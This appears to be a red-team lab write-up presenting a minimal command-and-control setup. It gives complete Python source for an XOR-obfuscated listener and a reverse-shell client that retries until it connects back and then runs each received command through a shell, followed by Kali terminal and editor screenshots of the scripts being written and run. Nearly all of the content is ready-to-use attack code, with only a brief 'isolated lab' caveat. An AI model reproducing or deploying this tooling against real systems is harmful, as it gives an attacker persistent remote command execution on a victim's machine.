C2 Demo

Minimal encrypted channel (XOR with a passphrase) to show how a C2 flow works.

Python :

1. listener.py :

```
#!/usr/bin/env python3
"""
Minimal C2 listener for demo in an isolated lab.
Usage: python3 listener.py <bind_ip> <port> <passphrase>
"""
import socket, sys, threading

BIND = sys.argv[1] if len(sys.argv) > 1 else "0.0.0.0"
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 4444
PASS = sys.argv[3] if len(sys.argv) > 3 else "redops"

def xor(data, key):
    return bytes([b ^ key[i % len(key)] for i,b in enumerate(data)])

key = PASS.encode()

def handle(conn, addr):
    print("[*] connection from", addr)
    try:
        while True:
            cmd = input("C2> ")
            if not cmd:
                continue
            if cmd.lower() in ("exit","quit"):
                conn.send(xor(b"exit\n", key))
```

```
            break
        conn.send(xor(cmd.encode()+b"\n", key))
        resp = conn.recv(65536)
        if not resp:
            break
        print("--->", xor(resp, key).decode(errors='ignore'))
    except Exception as e:
        print("handler err:", e)
    finally:
        conn.close()

s = socket.socket()
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((BIND, PORT))
s.listen(1)
print("[*] listening on", BIND, PORT)
conn, addr = s.accept()
handle(conn, addr)
```

2. revshell_client.py :

```
#!/usr/bin/env python3
"""
Minimal reverse client for lab demo. Usage: python3 revshell_client.py <host> <port>
<passphrase>
"""
import socket, sys, subprocess, os, time

HOST = sys.argv[1]
PORT = int(sys.argv[2])
PASS = sys.argv[3].encode()

def xor(data, key):
    return bytes([b ^ key[i % len(key)] for i,b in enumerate(data)])

while True:
    try:
        s = socket.socket()
```

```
        s.connect((HOST, PORT))
        break
    except Exception:
        time.sleep(2)

while True:
    data = s.recv(65536)
    if not data:
        break
    cmd = xor(data, PASS).decode(errors='ignore').strip()
    if cmd in ("exit","quit"):
        break
    try:
        out = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT)
    except Exception as e:
        out = str(e).encode()
    s.send(xor(out, PASS))
s.close()
```

Working :

```
root@kali: /home/negan/RedOps/c2
File  Actions  Edit  View  Help

┌──(root㉿kali)-[/home/negan/RedOps/privesc]
└─# cd ..

┌──(root㉿kali)-[/home/negan/RedOps]
└─# ls
enum  outputs  privesc  recon  vuln

┌──(root㉿kali)-[/home/negan/RedOps]
└─# mkdir c2

┌──(root㉿kali)-[/home/negan/RedOps]
└─# c2/

┌──(root㉿kali)-[/home/negan/RedOps/c2]
└─# nano listener.py

┌──(root㉿kali)-[/home/negan/RedOps/c2]
└─# python3 listener.py
[*] listening on 0.0.0.0 4444
```

```
GNU nano 8.4                    listener.py
#!/usr/bin/env python3
"""
Minimal C2 listener for demo in an isolated lab.
Usage: python3 listener.py <bind_ip> <port> <passphrase>
"""
import socket, sys, threading

BIND = sys.argv[1] if len(sys.argv) > 1 else "0.0.0.0"
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 4444
PASS = sys.argv[3] if len(sys.argv) > 3 else "redops"

def xor(data, key):
    return bytes([b ^ key[i % len(key)] for i,b in enumerate(data)])

key = PASS.encode()

def handle(conn, addr):
    print("[*] connection from", addr)
    try:
        while True:
            cmd = input("C2> ")
            if not cmd:
                continue
            if cmd.lower() in ("exit","quit"):
                conn.send(xor(b"exit\n", key))
                break
            conn.send(xor(cmd.encode()+b"\n", key))
            resp = conn.recv(65536)
            if not resp:
                break
            print("⟶", xor(resp, key).decode(errors='ignore'))
    except Exception as e:
        print("handler err:", e)
    finally:
        conn.close()

s = socket.socket()
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((BIND, PORT))

^G Help      ^O Write Out  ^F Where Is   ^K Cut      ^T Execute
^X Exit      ^R Read File  ^\ Replace    ^U Paste    ^J Justify
```

```
root@kali: /home/negan/RedOps/c2
File  Actions  Edit  View  Help
└─# nano listener.py

┌──(root㉿kali)-[/home/negan/RedOps/c2]
└─# python3 listener.py
[*] listening on 0.0.0.0 4444
^CTraceback (most recent call last):
  File "/home/negan/RedOps/c2/listener.py", line 42, in <module>
    conn, addr = s.accept()
                 ~~~~~~~~^^
  File "/usr/lib/python3.13/socket.py", line 295, in accept
    fd, addr = self._accept()
               ~~~~~~~~~~~~^^
KeyboardInterrupt

┌──(root㉿kali)-[/home/negan/RedOps/c2]
└─# python3 revshell_client.py 192.168.1.1 443 XOR

┌──(root㉿kali)-[/home/negan/RedOps/c2]
└─# python3 revshell_client.py 192.168.1.1 443 XOR

┌──(root㉿kali)-[/home/negan/RedOps/c2]
└─# python listener.py
[*] listening on 0.0.0.0 4444
```

```
GNU nano 8.4                    revshell_client.py
#!/usr/bin/env python3
"""
Usage: <host> <port> <passphrase>
"""
import socket, sys, subprocess, os, time

HOST = sys.argv[1]
PORT = int(sys.argv[2])
PASS = sys.argv[3].encode()

def xor(data, key):
    return bytes([b ^ key[i % len(key)] for i,b in enumerate(data)])

while True:
    try:
        s = socket.socket()
        s.connect((HOST, PORT))
        break
    except Exception:
        time.sleep(2)

while True:
    data = s.recv(65536)
    if not data:
        break
    cmd = xor(data, PASS).decode(errors='ignore').strip()
    if cmd in ("exit","quit"):
        break
    try:
        out = subprocess.check_output(cmd, shell=True, stderr=subprocess.ST
    except Exception as e:
        out = str(e).encode()
    s.send(xor(out, PASS))
s.close()

^G Help      ^O Write Out  ^F Where Is   ^K Cut      ^T Execute
^X Exit      ^R Read File  ^\ Replace    ^U Paste    ^J Justify
```